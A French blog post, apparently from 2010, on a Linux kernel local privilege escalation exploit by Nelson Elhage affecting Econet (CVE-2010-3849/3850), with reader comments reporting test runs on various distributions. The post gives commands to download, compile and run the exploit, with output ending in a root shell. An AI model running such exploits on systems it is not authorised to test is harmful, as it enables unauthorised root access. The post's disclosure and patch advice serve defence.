Local Root exploit by Nelson Elhage
Une nouvelle faille de sécurité vient d'être découverte dans le noyau Linux. L'exploit permet ainsi à un simple utilisateur de passer root sur une machine. La vulnérabilité affecte les distributions Linux basées sur des versions inférieures à la 2.6.37 du kernel.
Le seul moyen de contrer cette attaque est de mettre à jour votre système. Voici un exemple d'utilisation de l'exploit :
$ wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c
$ gcc -o nelson nelson.c
$ ./nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf80f02a0
[+] Resolved econet_ops to 0xf80f03a0
[+] Resolved commit_creds to 0xc016c830
[+] Resolved prepare_kernel_cred to 0xc016cc80
[*] Calculating target...
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root) groupes=0(root)
J'ai testé l'exploit avec succès sur une Ubuntu 10.10 (noyau en version 2.6.35-22-generic). Cela ne marche pas après une mise à jour du système (noyau en version 2.6.35-23). Je n'ai pas eu le temps de le tester sur d'autres systèmes mais on peut lire, en commentaire dans le code source, que celui-ci est assez limité :
- il ne concerne donc pas Slackware et Debian (le symbole résolu n'existe pas sous ces distributions)
- il ne concerne pas Red Hat car cette distribution ne supporte pas Econet par défaut
- il ne concerne pas les Ubuntu et Debian qui ont été mises à jour (CVE-2010-3849 et CVE-2010-3850)
17 Commentaires pour "Local Root exploit by Nelson Elhage"
Flux des commentaires de cet article Ajouter un commentaireJe viens de tester sur ma Ubuntu 10.10 x64 à jour et l'exploit ne fonctionne pas..
[...]
[*] Triggering payload...
[*] Exploit failed to get root.
+1
[*] Exploit failed to get root.
2.6.35.23
Archlinux avec noyau par défaut : pas vulnérable ?
[fred@fredo-arch linux-2.6.36-ARCH]$ less .config | grep ECONET
# CONFIG_ECONET is not set
Et quand je lance le POC compilé :
[fred@fredo-arch download]$ ./nelson
[*] Failed to open file descriptors.
Linux fredo-arch 2.6.36-ARCH #1 SMP PREEMPT Wed Nov 24 00:39:57 CET 2010 x86_64 AMD Athlon(tm) II X2 215 Processor AuthenticAMD GNU/Linux
Debian Squeeze (#! Statler) 2.6.32-5-amd64:
odn@moa:~/exploit$ ./nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa05ad7b1
[+] Resolved commit_creds to 0xffffffff8106939d
[+] Resolved prepare_kernel_cred to 0xffffffff810692a0
[*] Failed to resolve kernel symbols.
Je confirme que sur le dernier kernel à jour de Ubuntu (2.6.35-23-generic), cela ne fonctionne pas. Sous archlinux, en 2.6.36, même erreur que FredBezies.
EDIT: les commentaires explique :
* * The particular symbols I resolve are not exported on Slackware or Debian
* * Red Hat does not support Econet by default
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
* Debian
@benpro : oui effectivement ce commentaire dans le code nous montre les limitations de l'exploit. Je met à jour l'article.
Je confirme que sur une RedHat 5.4 release Iso 2.6.18-164.el5 x86_64 cela ne fonctionne pas.
[user@server ~]$ ./nelson
[*] Failed to open file descriptors
Bonjour, étant novice avec Linux, je voudrait savoir comment mettre a jour le noyau de Linux. J'ai Linux 10.04, en faisant dans le terminal uname -r il apparait 2.6.32-26 généric donc j'ai une version bien inférieure à celle souhaité. Comment dois je procéder ? Merci de vos réponses.
@mychris : ubuntu s'occupe de faire les mises à jour du noyau.
Donc, si tu veux être tranquille, ouvre un gnome terminal et tape :
ou si cela ne fonctionne pas - cela fait 2 ans que j'ai plus utilisé ubuntu -
Ne fonctionne pas sur Fedora 14 x86_64.
lesell_p @ host-mid-r09p02 % uname -a
Linux host-mid-r09p02 2.6.34-gentoo-r12 #1 SMP Sun Nov 21 13:37:57 CET 2010 i686 Intel(R) Core(TM)2 Quad CPU Q9400 @ 2.66GHz GenuineIntel GNU/Linux
lesell_p @ host-mid-r09p02 % ./nelson
[*] Failed to open file descriptors.
Chez moi sur Gentoo, ca ne fonctionne pas non plus ! =/
]$ uname -a
Linux Port-SkaP 2.6.35.6-48.fc14.x86_64 #1 SMP Fri Oct 22 15:36:08 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
$ ./nelson
[*] Failed to open file descriptors.
rien sur la fedora14
N'a pas marché non plus sur une Ubuntu 10.04 LTS avec le kernel 2.6.32-26-generic
@FredBezies : Merci pour ta réponse et tes indications. Venant de plusieurs années de pratique de windows, avoir les bons réflexes sur Linux demande travail et patience, j'en apprend tous les jours.
testé sur une debian lenny et squeeze à jour, ça ne fonctionne pas
sur un ubuntu 10.04 non mis à jour avec le kernel 2.6.32-26 ça ne fonctionne pas non plus
par contre sur un ubuntu 9.10 avec un kernel 2.6.31-20 ça fonctionne
testé sur :
user@server:~$ cat /etc/debian_version
5.0.6
user@server:~$ uname -a
Linux pluton 2.6.26-2-amd64 #1 SMP Tue Aug 31 09:11:22 UTC 2010 x86_64 GNU/Linux
user@server:~$ ./nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa03d419b
[+] Resolved econet_ops to 0xffffffffa03d51e0
[*] Failed to resolve kernel symbols.
NE fonctionne pas !
@sebastien
Salut, pour Ma part je ne met à jour que mes navigateurs internet et rien d'autres, par le passé j'ai eu des problèmes en mettant à jour mon système c'est tout le temps à cause d'un kernet différent, donc depuis environ 3 ans je ne met à jour que mes navigateurs internet,
via synaptic
Je sais que sur linux mint il est possible de mettre à jour tout les programmes installer sans pour autant toucher au fichier système, c'est exactement ce qu'il me faudrait, pouvoir choisir facilement ce que l'on souhaite mettre à jour, je n'ai pas trouver le nom de ce programme, sous ubuntu .
mes questions : existe t-il un risque concret de ne pas mettre à jour les fichiers systèmes, ?
existe t-il un programme qui permet de choisir uniquement la mise à jour de tout les programmes ?
Merci